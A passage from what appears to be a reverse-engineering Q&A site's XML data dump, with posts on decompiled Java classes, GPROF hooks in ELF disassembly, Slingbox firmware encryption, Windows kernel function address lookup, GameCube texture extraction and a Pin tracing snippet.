  <row Id="12631" PostTypeId="2" ParentId="12629" CreationDate="2016-05-11T02:57:16.047" Score="1" Body="&lt;p&gt;It is impossible for Krakatau to generate java files like that, and I imagine the same is true for other decompilers. However, I can think of some things that might lead to your confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First off, nested and inner classes in Java are considered independent classes and are compiled into seperate classfiles. This is true even for anonymous classes, such as every time you use the double brace initialization pattern. Depending on the decompiler and settings, the classes might be decompiled independently or merged back into one file. This is the only thing I can think of which could be described as a class &quot;split up into multiple files&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for a class extending multiple superclasses, this is obviously also impossible (though an interface can extend multiple superinterfaces). Most likely what happened is that you are confusing a class and its nested classes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you could have the main class A which subclasses Activity. Then A has an nested class, say A$1, which subclasses BroadcastReceiver. As a nested class, A$1 will of course have access to A's private members. (Note that this is technically not true at the bytecode level. The private members are accessed indirectly by compiler generated wrappers, which may or may not be shown, depending on the decompiler you use).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you may be mixing up unrelated classes with the similar names, such as A and a.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Krakatau is one of the decompilers that explicitly shows compiler generated accessors, so you definitely shouldn't be seeing direct access to private members of other classes. If you provide the app you are analyzing and the classes in question, I can try to figure out what's going on.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastEditorUserId="1739" LastEditDate="2016-05-11T03:03:00.360" LastActivityDate="2016-05-11T03:03:00.360" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12632" PostTypeId="1" AcceptedAnswerId="12633" CreationDate="2016-05-11T05:14:52.900" Score="3" ViewCount="291" Body="&lt;p&gt;I compiled a simple &lt;code&gt;helloworld&lt;/code&gt; and took a look at the disassembly using &lt;code&gt;objdump&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the beginning there is the &lt;code&gt;_init&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000400600 &amp;lt;_init&amp;gt;:&#xA;  400600:   48 83 ec 08             sub    rsp,0x8&#xA;  400604:   48 8b 05 ed 09 20 00    mov    rax,QWORD PTR [rip+0x2009ed]        # 600ff8 &amp;lt;_DYNAMIC+0x1e0&amp;gt;&#xA;  40060b:   48 85 c0                test   rax,rax&#xA;  40060e:   74 05                   je     400615 &amp;lt;_init+0x15&amp;gt;&#xA;  400610:   e8 1b 00 00 00          call   400630 &amp;lt;__gmon_start__@plt&amp;gt;&#xA;  400615:   48 83 c4 08             add    rsp,0x8&#xA;  400619:   c3                      ret    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is &lt;code&gt;_DYNAMIC&lt;/code&gt;?&#xA;Using &lt;code&gt;-x&lt;/code&gt; I can see the section details:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Dynamic Section:&#xA;  NEEDED               libstdc++.so.6&#xA;  NEEDED               libc.so.6&#xA;  INIT                 0x0000000000400600&#xA;  FINI                 0x0000000000400864&#xA;  INIT_ARRAY           0x0000000000600df8&#xA;  INIT_ARRAYSZ         0x0000000000000010&#xA;  FINI_ARRAY           0x0000000000600e08&#xA;  FINI_ARRAYSZ         0x0000000000000008&#xA;  GNU_HASH             0x0000000000400298&#xA;  STRTAB               0x00000000004003c8&#xA;  SYMTAB               0x00000000004002c0&#xA;  STRSZ                0x000000000000011c&#xA;  SYMENT               0x0000000000000018&#xA;  DEBUG                0x0000000000000000&#xA;  PLTGOT               0x0000000000601000&#xA;  PLTRELSZ             0x0000000000000090&#xA;  PLTREL               0x0000000000000007&#xA;  JMPREL               0x0000000000400570&#xA;  RELA                 0x0000000000400540&#xA;  RELASZ               0x0000000000000030&#xA;  RELAENT              0x0000000000000018&#xA;  VERNEED              0x0000000000400500&#xA;  VERNEEDNUM           0x0000000000000002&#xA;  VERSYM               0x00000000004004e4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, I am not sure which entry is &lt;code&gt;rip+0x2009ed&lt;/code&gt; referring to.&#xA;Considering that the next line is a call to &lt;code&gt;gmon&lt;/code&gt;, does it have anything to do with a &lt;code&gt;GPROF&lt;/code&gt; hook?&lt;/p&gt;&#xA;" OwnerUserId="1706" LastActivityDate="2016-05-11T07:10:53.083" Title="How does GPROF hook to the program?" Tags="|assembly|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12633" PostTypeId="2" ParentId="12632" CreationDate="2016-05-11T07:10:53.083" Score="3" Body="&lt;p&gt;This is a trick that's used by the initialization code to support monitoring when it's compiled in, and omit it when it isn't compiled in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When i compile a small test program using &lt;code&gt;gcc -pg&lt;/code&gt;, then invoke &lt;code&gt;objdump -Mintel -d&lt;/code&gt; on it, i get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000004004c0 &amp;lt;_init&amp;gt;:&#xA;  4004c0:   48 83 ec 08             sub    rsp,0x8&#xA;  4004c4:   48 8d 05 c5 00 00 00    lea    rax,[rip+0xc5]        # 400590 &amp;lt;__gmon_start__&amp;gt;&#xA;  4004cb:   48 85 c0                test   rax,rax&#xA;  4004ce:   74 05                   je     4004d5 &amp;lt;_init+0x15&amp;gt;&#xA;  4004d0:   e8 bb 00 00 00          call   400590 &amp;lt;__gmon_start__&amp;gt;&#xA;  4004d5:   48 83 c4 08             add    rsp,0x8&#xA;  4004d9:   c3                      ret    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If i omit the &lt;code&gt;-pg&lt;/code&gt; when compiling, this changes to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0000000000400418 &amp;lt;_init&amp;gt;:&#xA;  400418:   48 83 ec 08             sub    rsp,0x8&#xA;  40041c:   48 8b 05 d5 0b 20 00    mov    rax,QWORD PTR [rip+0x200bd5]        # 600ff8 &amp;lt;_DYNAMIC+0x1d0&amp;gt;&#xA;  400423:   48 85 c0                test   rax,rax&#xA;  400426:   74 05                   je     40042d &amp;lt;_init+0x15&amp;gt;&#xA;  400428:   e8 43 00 00 00          call   400470 &amp;lt;__gmon_start__@plt&amp;gt;&#xA;  40042d:   48 83 c4 08             add    rsp,0x8&#xA;  400431:   c3                      ret    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you see that, with monitoring enabled, the code checks if &lt;code&gt;__gmon_start__&lt;/code&gt; is not null before calling the function. With monitoring disabled, it checks some variable, and if it is 0, it skips the call to &lt;code&gt;__gmon_start__&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But wait. Why do we have a &lt;code&gt;lea&lt;/code&gt; in the first case, and a &lt;code&gt;mov&lt;/code&gt; in the second one? And why does the name end in &lt;code&gt;@plt&lt;/code&gt; ?&#xA;Because, even if your program doesn't have profiling compiled in, maybe some of your dynamic libraries do, and maybe you're running against a profiling-enabled version of the C library. So the C library may provide a dynamic version of &lt;code&gt;__gmon_start__&lt;/code&gt;, and it provides a flag to mark if it does so. This function and flag are defined in the &lt;a href=&quot;http://bottomupcs.sourceforge.net/csbu/x3824.htm&quot; rel=&quot;nofollow&quot;&gt;GOT&lt;/a&gt; and GOTPLT sections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And indeed, if you note the address that's used, &lt;code&gt;600FF8&lt;/code&gt;, and scroll down the &lt;code&gt;objdump -x&lt;/code&gt; output a bit from your section details, you'll see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; 21 .got          00000008  0000000000600ff8  0000000000600ff8  00000ff8  2**3&#xA;                  CONTENTS, ALLOC, LOAD, DATA&#xA; 22 .got.plt      00000038  0000000000601000  0000000000601000  00001000  2**3&#xA;                  CONTENTS, ALLOC, LOAD, DATA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you'll see the code accesses a GOT table entry (which, for a small test program, is the only entry in the GOT there is, which is why GOT is just 8 bytes in size).&lt;/p&gt;&#xA;" OwnerUserId="4154" LastActivityDate="2016-05-11T07:10:53.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12635" PostTypeId="2" ParentId="45" CreationDate="2016-05-11T12:06:45.937" Score="1" Body="&lt;p&gt;What is functional encryption for all circuits and indistinguishability obfuscation for all circuits ?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A proposed &lt;strong&gt;indistinguishability obfuscation&lt;/strong&gt; for NC1 circuits where&#xA;the security is based on the so called Multilinear Jigsaw Puzzles (a&#xA;simplified variant of multilinear maps).&lt;/li&gt;&#xA;&lt;li&gt;Pair the contribution in 1 with &lt;strong&gt;Fully Homomorphic Encryption&lt;/strong&gt; and you&#xA;get indistinguishability obfuscation for all circuits.&lt;/li&gt;&#xA;&lt;li&gt;Combine 2 with &lt;strong&gt;public key encryption and non-interactive&#xA;zero-knowledge proofs&lt;/strong&gt; and you &lt;strong&gt;functional encryption for all&#xA;circuits&lt;/strong&gt;. I believe that prior to &lt;a href=&quot;http://www.rdmag.com/news/2013/07/computer-scientists-develop-mathematical-jigsaw-puzzles-encrypt-software?et_cid=3395460&amp;amp;et_rid=54755808&amp;amp;location=top&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, functional encryption for all&#xA;circuits was not possible.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2818" LastActivityDate="2016-05-11T12:06:45.937" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12638" PostTypeId="1" CreationDate="2016-05-11T19:42:50.117" Score="1" ViewCount="2890" Body="&lt;p&gt;First off, I hope this is the right place to ask this question, if not please let me know where I should ask it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Windows XP sp2 VM (fresh install with no updates), with Python and immunity installed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try and launch immunity, I see a brief view of the main window, then it closes. I get no errors and nothing in the Windows event viewer. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the latest version of immunity from their website. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anywhere else I can look for the cause of the problem? Is this a known issue? Does anyone know how to fix this problem? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="16071" LastActivityDate="2016-11-04T21:00:20.840" Title="Immunity crashes on start" Tags="|immunity-debugger|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12639" PostTypeId="1" AcceptedAnswerId="12642" CreationDate="2016-05-12T02:25:24.357" Score="2" ViewCount="470" Body="&lt;p&gt;I found firmware for Slingbox 500 by sniffing the outgoing connections it is making. Having trouble making heads or tails of it though. I'd really love to see the filesystem because it's running dropbear ssh server!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;files as follow, were obtained from &lt;a href=&quot;http://mdconfig.sling.com/config/v2/type/ngsb/product/intrepidCbfu/version/01.10.095.json&quot; rel=&quot;nofollow&quot;&gt;http://mdconfig.sling.com/config/v2/type/ngsb/product/intrepidCbfu/version/01.10.095.json&lt;/a&gt; --&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;&quot;payload&quot;:&#xA;    &quot;{&quot;config&quot;:&#xA;        {&#xA;         &quot;updateVersion&quot;:&quot;01.10.102&quot;,&#xA;         &quot;rebootTimeMsec&quot;:68000,&#xA;         &quot;firmwareComponents&quot;:&#xA;            {&#xA;            &quot;appfsRecovery&quot;:&#xA;                {&#xA;                    &quot;critical&quot;:false,&#xA;                    &quot;crc&quot;:123,&#xA;                    &quot;order&quot;:1,&#xA;                    &quot;reboot&quot;:false,&#xA;                    &quot;url&quot;:&quot;www.navjit.com&quot;,&#xA;                    &quot;size&quot;:123,&#xA;                    &quot;version&quot;:&quot;0.5.102&quot;&#xA;                },&#xA;            &quot;uImageMain&quot;:&#xA;                {&#xA;                    &quot;critical&quot;:false,&#xA;                    &quot;crc&quot;:1863698014,&#xA;                    &quot;order&quot;:2,&#xA;                    &quot;reboot&quot;:false,&#xA;                    &quot;url&quot;:&quot;http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/s_fw4_uImage_mips_gz_118.bin&quot;,&#xA;                    &quot;size&quot;:5463888,&#xA;                    &quot;version&quot;:&quot;1.9.118&quot;&#xA;                },&#xA;            &quot;FW3&quot;:&#xA;                {&#xA;                    &quot;critical&quot;:false,&#xA;                    &quot;crc&quot;:2050778634,&#xA;                    &quot;order&quot;:3,&#xA;                    &quot;reboot&quot;:false,&#xA;                    &quot;url&quot;:&quot;http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/intrepid_fw3_f_p_1_5_432.bin&quot;,&#xA;                    &quot;size&quot;:262144,&#xA;                    &quot;version&quot;:&quot;1.5.432&quot;&#xA;                },&#xA;            &quot;FW2&quot;:&#xA;                {&#xA;                    &quot;critical&quot;:false,&#xA;                    &quot;crc&quot;:2050778634,&#xA;                    &quot;order&quot;:4,&#xA;                    &quot;reboot&quot;:false,&#xA;                    &quot;url&quot;:&quot;www.navjit.com&quot;,&#xA;                    &quot;size&quot;:123,&#xA;                    &quot;version&quot;:&quot;0.5.472&quot;&#xA;                },&#xA;            &quot;FW1&quot;:&#xA;                {&#xA;                    &quot;critical&quot;:false,&#xA;                    &quot;crc&quot;:123,&#xA;                    &quot;order&quot;:5,&#xA;                    &quot;reboot&quot;:false,&#xA;                    &quot;url&quot;:&quot;www.navjit.com&quot;,&#xA;                    &quot;size&quot;:123,&#xA;                    &quot;version&quot;:&quot;0.5.472&quot;&#xA;                },&#xA;            &quot;uImageRecovery&quot;:&#xA;                {&#xA;                    &quot;critical&quot;:false,&#xA;                    &quot;crc&quot;:123,&#xA;                    &quot;order&quot;:0,&#xA;                    &quot;reboot&quot;:false,&#xA;                    &quot;url&quot;:&quot;www.navjit.com&quot;,&#xA;                    &quot;size&quot;:123,&#xA;                    &quot;version&quot;:&quot;1.5.002&quot;&#xA;                }&#xA;            },&#xA;        &quot;applications&quot;:&#xA;            {&#xA;                &quot;sbCore&quot;:&#xA;                    {&#xA;                        &quot;urlMeta&quot;:&quot;http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/FW5_SIG_01_10_102.tar&quot;,&#xA;                        &quot;critical&quot;:false,&#xA;                        &quot;sizeMeta&quot;:10240,&#xA;                        &quot;reboot&quot;:true,&#xA;                        &quot;type&quot;:&quot;file_system&quot;,&#xA;                        &quot;url&quot;:&quot;http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/intrepid_fw5_full_01.10.102_nand.ubi.gz.aes&quot;,&#xA;                        &quot;version&quot;:&quot;01.10.102&quot;,&#xA;                        &quot;size&quot;:99865328&#xA;                    }&#xA;            }&#xA;        }&#xA;    }&quot;,&#xA;&#xA;        &quot;header&quot;:&#xA;            {&#xA;                &quot;signatureEncoding&quot;:&quot;base64&quot;,&#xA;                &quot;msgType&quot;:&quot;plain&quot;,&#xA;                &quot;signature&quot;:&quot; MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAADGCAg8wggILAgEBMHkwdDELMAkGA1UEBhMCVVMxEzARBgNVBAgTCkNhbGlmb3JuaWExFDASBgNVBAoTC1NsaW5nIE1lZGlhMRMwEQYDVQQDEwpNRCBET1dOIENBMSUwIwYJKoZIhvcNAQkBFhZtZGFkbWluQHNsaW5nbWVkaWEuY29tAgEDMA0GCWCGSAFlAwQCAQUAoGkwGAYJKoZIhvcNAQkDMQsGCSqGSIb3DQEHATAcBgkqhkiG9w0BCQUxDxcNMTYwNDI3MDYxNzIyWjAvBgkqhkiG9w0BCQQxIgQgdMg3fnkpkxTXkZzmAgvCH613L0YpH70/9yGDYSN0D7YwDQYJKoZIhvcNAQEBBQAEggEApKOkHp4k8EgaMxPIxelQX2E2iKP91HgUnx4lkYkffirQU5ObvIFWd4DAyEmb6QO8X3BVA/tWnDDaIwunUy/2WVjgcwyTiSLr20tPlEPDJcACEQERx2xzAss3Y+voeXmwBrmDWFXn5ILNUN86GsL3mUyfySR6ZPly4Wu2Krb55e58FIu9WqS6ynCD1Qdt4djQ6VgeG+2+CBmUp7mvoemgr+Kzs0wNCOOm9/561Cqsl3MCbHrt8hXikcb2lTyH3UkNRlBmYt66hb7MB1r1osT8KLLERuJ1kFOhYf6edefTFjyQVM/EUUwK5TO5NzFGB8wosG9jzbLpbE9qXQrj62j6tAAAAAAAAA==&quot;,&#xA;&quot;configEncoding&quot;:&quot;none&quot;&#xA;            }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Binwalk is blank on both of these files: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;a href=&quot;http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/s_fw4_uImage_mips_gz_118.bin&quot; rel=&quot;nofollow&quot;&gt;http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/s_fw4_uImage_mips_gz_118.bin&lt;/a&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;a href=&quot;http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/intrepid_fw3_f_p_1_5_432.bin&quot; rel=&quot;nofollow&quot;&gt;http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/intrepid_fw3_f_p_1_5_432.bin&lt;/a&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The following tar file expands into three separate files:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;a href=&quot;http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/FW5_SIG_01_10_102.tar&quot; rel=&quot;nofollow&quot;&gt;http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/FW5_SIG_01_10_102.tar&lt;/a&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;FW5_sig.smime &amp;lt;-- don't know how to decode these smime files, but the contain strings like &quot;Intrepid pkg key&quot;, &quot;Intrepid pkg signer&quot;, and &quot;OpenSSL Generated Certificate&quot;, and have interesting names which might be useful!&lt;/li&gt;&#xA;  &lt;li&gt;FW5_enc_params.smime&lt;/li&gt;&#xA;  &lt;li&gt;ubi_fw_size --&gt; &quot;128057344&quot;&lt;/li&gt;&#xA;  &lt;/ol&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And probably the most interesting file which appears thoroughly encrypted (95 MB):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;a href=&quot;http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/intrepid_fw5_full_01.10.102_nand.ubi.gz.aes&quot; rel=&quot;nofollow&quot;&gt;http://cbfu-prod.slingbox.com/Intrepid/Intrepid_FW_01_10_102/intrepid_fw5_full_01.10.102_nand.ubi.gz.aes&lt;/a&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So here I am wondering if there is a chance to get further or if I'm stuck. I'm not against hardware tinkering, though I would certainly be clumsy with it and would require some handholding. Any thoughts? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="8057" LastActivityDate="2016-05-12T10:04:36.120" Title="help getting at encrypted firmware [includes .SMIME and .gz.aes files]" Tags="|firmware|encryption|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12640" PostTypeId="2" ParentId="12625" CreationDate="2016-05-12T03:19:25.303" Score="6" Body="&lt;p&gt;It can be done programmatically with a combination of &lt;code&gt;NtQuerySystemInformation&lt;/code&gt;, &lt;code&gt;LoadLibraryEx&lt;/code&gt;, and &lt;code&gt;GetProcAddress&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code below may not work perfectly, as I don't have a Windows box to build it for testing.  However, it should move you in the correct direction.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &quot;stdafx.h&quot;&#xA;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;windows.h&amp;gt;&#xA;&#xA;enum { SystemModuleInformation = 11 };&#xA;&#xA;typedef struct _RTL_PROCESS_MODULE_INFORMATION {&#xA;    ULONG Section;&#xA;    PVOID MappedBase;&#xA;    PVOID ImageBase;&#xA;    ULONG ImageSize;&#xA;    ULONG Flags;&#xA;    USHORT LoadOrderIndex;&#xA;    USHORT InitOrderIndex;&#xA;    USHORT LoadCount;&#xA;    USHORT OffsetToFileName;&#xA;    CHAR FullPathName[256];&#xA;} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;&#xA;&#xA;typedef struct _RTL_PROCESS_MODULES {&#xA;    ULONG NumberOfModules;&#xA;    RTL_PROCESS_MODULE_INFORMATION Modules[1];&#xA;} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;&#xA;&#xA;typedef NTSTATUS (*NtQuerySystemInformationFunc)(&#xA;    _In_      DWORD SystemInformationClass,&#xA;    _Inout_   PVOID                    SystemInformation,&#xA;    _In_      ULONG                    SystemInformationLength,&#xA;    _Out_opt_ PULONG                   ReturnLength&#xA;);&#xA;&#xA;ULONG64 GetKernelFunctionAddress(LPCSTR Name) {&#xA;    NtQuerySystemInformationFunc NtQuerySystemInformation = NULL;&#xA;    HMODULE hKernel = NULL;&#xA;    HMODULE hNtdll = NULL;&#xA;    ULONG64 KernelBase = NULL;&#xA;    ULONG64 KernelFunctionAddress = NULL;&#xA;    RTL_PROCESS_MODULES ModuleInfo = { 0 };&#xA;&#xA;    // Get the address of NtQuerySystemInformation&#xA;    hNtdll = GetModuleHandle(&quot;ntdll&quot;);&#xA;    NtQuerySystemInformation = (NtQuerySystemInformationFunc)GetProcAddress(hNtdll, &quot;NtQuerySystemInformation&quot;);&#xA;&#xA;    // Get the base address of the kernel&#xA;    NtQuerySystemInformation(SystemModuleInformation, &amp;amp;ModuleInfo, sizeof(ModuleInfo), NULL);&#xA;    KernelBase = (ULONG64)ModuleInfo.Modules[0].ImageBase;&#xA;&#xA;    // Load the kernel&#xA;    hKernel = LoadLibraryEx(strrchr(ModuleInfo.Modules[0].FullPathName, '\\') + 1, 0, LOAD_LIBRARY_AS_IMAGE_RESOURCE);&#xA;&#xA;    // Look up the function in the kernel&#xA;    KernelFunctionAddress = (ULONG64)GetProcAddress(hKernel, Name);&#xA;&#xA;    // Adjust the address based on the kernel load address&#xA;    KernelFunctionAddress -= (ULONG64)hKernel;&#xA;    KernelFunctionAddress += KernelBase;&#xA;&#xA;    return KernelFunctionAddress;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="264" LastEditorUserId="12503" LastEditDate="2016-08-11T21:20:50.643" LastActivityDate="2016-08-11T21:20:50.643" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12641" PostTypeId="1" CreationDate="2016-05-12T09:02:38.533" Score="3" ViewCount="2962" Body="&lt;p&gt;There is a gamecube videogame (called Winning Eleven) which i want to translate, but i had no success in extracting the textures out of the files which contain them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried several tools, one of them was a tool for a specific gamecube game (Mario Sunshine iirc), but it didnt work out, most likely because it uses a different, unique decompression method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The files which contain the textures are .bin files, which i extracted from so called .txs files with the help of a zlib tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would really appreciate it if someone, who is knowledgable in this matter, could take a look into this file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone might recognize it or even knows already how to work this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I uploaded 4 of those bin files which ive extracted out of the txs file, and i also added a tool called AFS Explorer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download Link:&#xA;&lt;a href=&quot;http://s000.tinyupload.com/download.php?file_id=30125217858357016099&amp;amp;t=3012521785835701609927187&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://s000.tinyupload.com/download.php?file_id=30125217858357016099&amp;amp;t=3012521785835701609927187&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To extract the bin files i used the built-in Zlib Manager of the AFS Explorer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to open and explore txs files:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open the AFS Explorer&lt;/li&gt;&#xA;&lt;li&gt;Go to &quot;View&quot; on the top bar and choose &quot;Zlib Manager&quot;&lt;/li&gt;&#xA;&lt;li&gt;Choose &quot;Load sections from file&quot; and open the txs file.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Im just mentioning this for you to see how the bin files were extracted in first place, for a better understanding.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate it a lot if you could help me to work this out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt;: &#xA;Those are definitely no animations, just normal bitmaps with texts as content. I can even show you how they look like, these are from the PS2 Version of the same game, form the exact same file named &quot;form.txs&quot;, the only difference obviously being that the PS2 Version uses a different compression method which was already discovered. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://i.stack.imgur.com/RL1tC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/RL1tC.png&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://i.stack.imgur.com/RmX43.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/RmX43.png&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://i.stack.imgur.com/oEhSe.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/oEhSe.png&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://i.stack.imgur.com/uUM9u.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://i.stack.imgur.com/uUM9u.png&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There are several tools which work with the PS2 files, but not a single of them with the NGC files, obviously because of the format differences.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ive uploaded a Texture Tool which works with the PS2 bin files, but obviously not with the GameCube ones. Despite searching intensively for it (also on old archived websites), i couldnt find the sourcecode of this texture tool. But i thought i still should upload it, it might help too.&#xA;I hope tinyupload.com is ok for uploads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download Link:&#xA;&lt;a href=&quot;http://s000.tinyupload.com/index.php?file_id=92363414871112387548&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://s000.tinyupload.com/index.php?file_id=92363414871112387548&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16062" LastEditorUserId="4154" LastEditDate="2016-06-08T05:13:12.963" LastActivityDate="2017-02-02T13:43:44.540" Title="Extracting textures from a file (Gamecube game)" Tags="|file-format|decompress|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12642" PostTypeId="2" ParentId="12639" CreationDate="2016-05-12T10:04:36.120" Score="1" Body="&lt;p&gt;Most likely the decryption key is hardcoded in the firmware on the device or in some storage there. You will probably need to get into the device somehow to figure out how it does the firmware update decryption.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-05-12T10:04:36.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12643" PostTypeId="2" ParentId="12363" CreationDate="2016-05-12T10:16:14.077" Score="1" Body="&lt;p&gt;So, finally I came up with the solution that works how I want and results seem to be valid according to &lt;a href=&quot;https://www.agner.org/optimize/instruction_tables.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;this reference of instruction tables&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;fprintf(trace,&amp;quot;\n[%s]\n&amp;quot;,(INS_Disassemble(ins)).c_str()); //(INS_Disassemble(ins)).c_str()&#xA;fflush(trace);&#xA;   &#xA;for (UINT32 memOp = 0; memOp &amp;lt; memOperands; memOp++)&#xA;{&#xA;    if (INS_MemoryOperandIsRead(ins, memOp))&#xA;    {&#xA;        fprintf(trace,&amp;quot;R&amp;quot;);&#xA;        icount++;&#xA;    }&#xA;&#xA;    if (INS_MemoryOperandIsWritten(ins, memOp))&#xA;    {&#xA;        fprintf(trace,&amp;quot;W&amp;quot;);&#xA;        icount++;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And it produces the following output:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[mov eax, dword ptr [ebp+0x10]]&#xA;R&#xA;[mov byte ptr [ebx+0x2], 0x0]&#xA;W&#xA;[mov byte ptr [ebx+0x7], 